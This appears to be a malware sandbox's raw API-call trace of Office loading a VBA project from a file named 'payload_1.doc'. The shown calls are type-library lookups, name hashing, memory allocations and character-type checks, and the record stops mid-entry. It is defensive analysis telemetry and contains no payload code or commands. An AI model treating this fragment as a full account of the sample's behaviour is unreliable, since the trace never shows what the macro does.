ITypeLib:RemoteGetDocumentation (in: This=0x2764b6d0970, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f3fb8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764ad9bed6 | out: pBstrName=0xb5690f3fb8*="MSExchange 1.0 Type Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764ad9bed6) returned 0x0 [0094.230] StringFromGUID2 (in: rguid=0x2764ad02420*(Data1=0xaf7f3be, Data2=0x8ea9, Data3=0x4816, Data4=([0]=0x88, [1]=0x9e, [2]=0x3e, [3]=0xd2, [4]=0x28, [5]=0x71, [6]=0xfe, [7]=0x5)), lpsz=0xb5690f3fe0, cchMax=39 | out: lpsz="{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}") returned 39 [0094.230] _ultow_s (in: _Value=0x1, _Buffer=0xb5690f3f2a, _BufferCount=0x10, _Radix=16 | out: _Buffer="1") returned 0x0 [0094.230] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3f2e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.230] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3f32, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.230] wcscpy_s (in: _Destination=0x2764b665558, _SizeInWords=0x96, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0094.230] wcscpy_s (in: _Destination=0x2764b66555e, _SizeInWords=0x93, _Source="{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}" | out: _Destination="{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}") returned 0x0 [0094.230] wcscpy_s (in: _Destination=0x2764b6655aa, _SizeInWords=0x6d, _Source="#1.0#0#" | out: _Destination="#1.0#0#") returned 0x0 [0094.230] wcscpy_s (in: _Destination=0x2764b6655b8, _SizeInWords=0x66, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll") returned 0x0 [0094.230] wcscpy_s (in: _Destination=0x2764b66564c, _SizeInWords=0x1c, _Source="MSExchange 1.0 Type Library" | out: _Destination="MSExchange 1.0 Type Library") returned 0x0 [0094.231] ITypeLib:LocalReleaseTLibAttr (This=0x2764b6d0970) returned 0x0 [0094.231] wcscpy_s (in: _Destination=0x276455a2790, _SizeInWords=0x800, _Source="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library" | out: _Destination="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library") returned 0x0 [0094.231] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b631f00, cb=0x1a00) returned 0x2764b2497f0 [0094.231] wcscpy_s (in: _Destination=0x2764b24a4d0, _SizeInWords=0x96, _Source="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library" | out: _Destination="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library") returned 0x0 [0094.231] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455a2790) [0094.231] IUnknown:AddRef (This=0x2764b6d0970) returned 0x2 [0094.231] IUnknown:QueryInterface (in: This=0x2764b6d0970, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4228 | out: ppvObject=0xb5690f4228*=0x0) returned 0x80004002 [0094.231] IUnknown:Release (This=0x2764b6d0970) returned 0x1 [0094.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MSExchangeLib", cchWideChar=14, lpMultiByteStr=0xb5690f41b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSExchangeLib", lpUsedDefaultChar=0x0) returned 14 [0094.231] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MSExchangeLib") returned 0x401e4f [0094.231] strcpy_s (in: _Dst=0xb5690f3f90, _DstSize=0xe, _Src="MSExchangeLib" | out: _Dst="MSExchangeLib") returned 0x0 [0094.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f3f90, cbMultiByte=14, lpWideCharStr=0xb5690f3de0, cchWideChar=14 | out: lpWideCharStr="MSExchangeLib") returned 14 [0094.231] IUnknown:AddRef (This=0x276454bf8a0) returned 0x3 [0094.231] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="MSExchangeLib", lHashVal=0x401e4f, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.231] IUnknown:Release (This=0x276454bf8a0) returned 0x2 [0094.231] IUnknown:AddRef (This=0x276454c2ce0) returned 0x4 [0094.231] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="MSExchangeLib", lHashVal=0x401e4f, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.231] IUnknown:Release (This=0x276454c2ce0) returned 0x3 [0094.231] IUnknown:AddRef (This=0x276454c2a20) returned 0x5 [0094.231] ITypeLib:RemoteIsName (in: This=0x276454c2a20, szNameBuf="MSExchangeLib", lHashVal=0x401e4f, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.231] IUnknown:Release (This=0x276454c2a20) returned 0x4 [0094.231] IUnknown:AddRef (This=0x276454c16e0) returned 0x2 [0094.231] ITypeLib:RemoteIsName (in: This=0x276454c16e0, szNameBuf="MSExchangeLib", lHashVal=0x401e4f, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.231] IUnknown:Release (This=0x276454c16e0) returned 0x1 [0094.231] IUnknown:AddRef (This=0x2763beee850) returned 0x2 [0094.232] ITypeLib:RemoteIsName (in: This=0x2763beee850, szNameBuf="MSExchangeLib", lHashVal=0x401e4f, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.232] IUnknown:Release (This=0x2763beee850) returned 0x1 [0094.232] IUnknown:AddRef (This=0x2764b6d0130) returned 0x2 [0094.232] ITypeLib:RemoteIsName (in: This=0x2764b6d0130, szNameBuf="MSExchangeLib", lHashVal=0x401e4f, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.232] IUnknown:Release (This=0x2764b6d0130) returned 0x1 [0094.232] IUnknown:AddRef (This=0x2764b6d0970) returned 0x2 [0094.232] ITypeLib:RemoteIsName (in: This=0x2764b6d0970, szNameBuf="MSExchangeLib", lHashVal=0x401e4f, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.232] IUnknown:Release (This=0x2764b6d0970) returned 0x1 [0094.232] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x276452039b0 [0094.232] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa4110) [0094.232] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad49870 [0094.232] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad49870, cb=0x8c) returned 0x2764b1aa970 [0094.232] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276452039b0) [0094.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Hopertiol", cchWideChar=10, lpMultiByteStr=0xb5690f4000, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hopertiol", lpUsedDefaultChar=0x0) returned 10 [0094.234] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0094.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Hopertiol", cchWideChar=10, lpMultiByteStr=0xb5690f4140, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hopertiol", lpUsedDefaultChar=0x0) returned 10 [0094.234] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0094.234] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae9e750, cb=0x8) returned 0x2763c083520 [0094.234] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa38a0 [0094.234] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764afa38a0) returned 0x80 [0094.234] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b245640 [0094.234] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b2448c0 [0094.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Hopertiol", cchWideChar=10, lpMultiByteStr=0xb5690f4000, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hopertiol", lpUsedDefaultChar=0x0) returned 10 [0094.234] CoCreateGuid (in: pguid=0xb5690f3d30 | out: pguid=0xb5690f3d30*(Data1=0xcc3d6a8, Data2=0x8e77, Data3=0x4e48, Data4=([0]=0xb4, [1]=0x9b, [2]=0xeb, [3]=0xc2, [4]=0x1, [5]=0x4d, [6]=0x5f, [7]=0x68))) returned 0x0 [0094.234] CoCreateGuid (in: pguid=0xb5690f3d40 | out: pguid=0xb5690f3d40*(Data1=0xb33e54b1, Data2=0xe0bb, Data3=0x40ac, Data4=([0]=0xaa, [1]=0xc0, [2]=0xf1, [3]=0x26, [4]=0xfe, [5]=0xc3, [6]=0x43, [7]=0x3e))) returned 0x0 [0094.234] WideCharToMultiByte (in: CodePage=0x3a4, dwFlags=0x0, lpWideCharStr="Hopertiol", cchWideChar=10, lpMultiByteStr=0xb5690f3d50, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hopertiol", lpUsedDefaultChar=0x0) returned 10 [0094.234] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0094.234] GetLocalTime (in: lpSystemTime=0xb5690f3c28 | out: lpSystemTime=0xb5690f3c28*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x30, wMilliseconds=0x365)) [0094.234] _ultow_s (in: _Value=0x612782e8, _Buffer=0x2764b249c9c, _BufferCount=0x9, _Radix=16 | out: _Buffer="612782e8") returned 0x0 [0094.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="01612782e8", cchWideChar=11, lpMultiByteStr=0xb5690f3bc0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="01612782e8", lpUsedDefaultChar=0x0) returned 11 [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x170) returned 0x2764b6774a0 [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x50) returned 0x2764b155310 [0094.235] strcpy_s (in: _Dst=0x2764b1637b8, _DstSize=0xa, _Src="Hopertiol" | out: _Dst="Hopertiol") returned 0x0 [0094.235] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae9ec10, cb=0x68) returned 0x27645202980 [0094.235] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0094.235] wcscpy_s (in: _Destination=0x2764b249cb0, _SizeInWords=0xa, _Source="Hopertiol" | out: _Destination="Hopertiol") returned 0x0 [0094.235] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0094.235] wcscpy_s (in: _Destination=0x2764b249cc8, _SizeInWords=0xa, _Source="Hopertiol" | out: _Destination="Hopertiol") returned 0x0 [0094.235] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae9eb10, cb=0x12) returned 0x2764b178190 [0094.235] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae9e900, cb=0x6) returned 0x2764ae9eb10 [0094.235] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x6c) returned 0x27645554810 [0094.235] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1aa970) [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad49450 [0094.235] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad49450, cb=0x98) returned 0x2764b1aa970 [0094.235] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645554810) [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2764b6fd530 [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad49450 [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b177f10 [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3b70 [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9e900 [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9ec10 [0094.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x688) returned 0x27644ede490 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3e40 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2764b4091d0 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad49870 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9e750 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763c064a10 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad49930 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3540 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x276453f88b0 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x276453f8cc0 [0094.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x276453f9d00 [0094.236] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="_Evaluate") returned 0x40d918 [0094.236] strcpy_s (in: _Dst=0xb5690f3d90, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0094.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f3d90, cbMultiByte=10, lpWideCharStr=0xb5690f3be0, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0094.236] IUnknown:AddRef (This=0x276454bf8a0) returned 0x3 [0094.236] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xb5690f3cb0, pBstrLibName=0xb5690f3be0 | out: pfName=0xb5690f3cb0*=0, pBstrLibName=0xb5690f3be0) returned 0x0 [0094.236] IUnknown:Release (This=0x276454bf8a0) returned 0x2 [0094.236] IUnknown:AddRef (This=0x276454c2ce0) returned 0x4 [0094.236] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xb5690f3cb0, pBstrLibName=0xb5690f3be0 | out: pfName=0xb5690f3cb0*=0, pBstrLibName=0xb5690f3be0) returned 0x0 [0094.236] IUnknown:Release (This=0x276454c2ce0) returned 0x3 [0094.236] IUnknown:AddRef (This=0x276454c2a20) returned 0x5 [0094.236] ITypeLib:RemoteIsName (in: This=0x276454c2a20, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xb5690f3cb0, pBstrLibName=0xb5690f3be0 | out: pfName=0xb5690f3cb0*=0, pBstrLibName=0xb5690f3be0) returned 0x0 [0094.236] IUnknown:Release (This=0x276454c2a20) returned 0x4 [0094.236] IUnknown:AddRef (This=0x276454c16e0) returned 0x2 [0094.236] ITypeLib:RemoteIsName (in: This=0x276454c16e0, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xb5690f3cb0, pBstrLibName=0xb5690f3be0 | out: pfName=0xb5690f3cb0*=1, pBstrLibName=0xb5690f3be0) returned 0x0 [0094.236] IUnknown:Release (This=0x276454c16e0) returned 0x1 [0094.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Evaluate", cchWideChar=-1, lpMultiByteStr=0xb5690f3d90, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Evaluate", lpUsedDefaultChar=0x0) returned 10 [0094.236] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="_Evaluate") returned 0x40d918 [0094.236] wcsncpy_s (in: _Destination=0xb5690f3da0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0094.236] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0094.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3cd0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0094.236] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0094.236] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0094.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2028) returned 0x2764b51ce40 [0094.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10020) returned 0x2764b711a30 [0094.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2ee0) returned 0x2764b545700 [0094.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x800) returned 0x2764547a770 [0094.239] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x404) returned 0x276453fa110 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x80", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x81", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x82", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x83", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x84", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="…", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x86", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x87", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x88", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x89", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8a", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8b", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8c", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8d", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8e", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8f", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x90", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x91", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x92", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x93", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x94", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x95", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x96", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x97", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x98", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x99", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9a", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9b", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9c", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9d", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9e", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9f", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.239] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr=" ", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¡", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¢", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="£", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¤", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¥", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¦", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="§", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¨", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="©", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ª", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="«", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¬", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="­", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="®", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="¯", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="°", cchSrc=1, lpCharType=0xb5690f3ea0 | out: lpCharType=0xb5690f3ea0) returned 1 [0094.240] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="±", cchSrc=1, 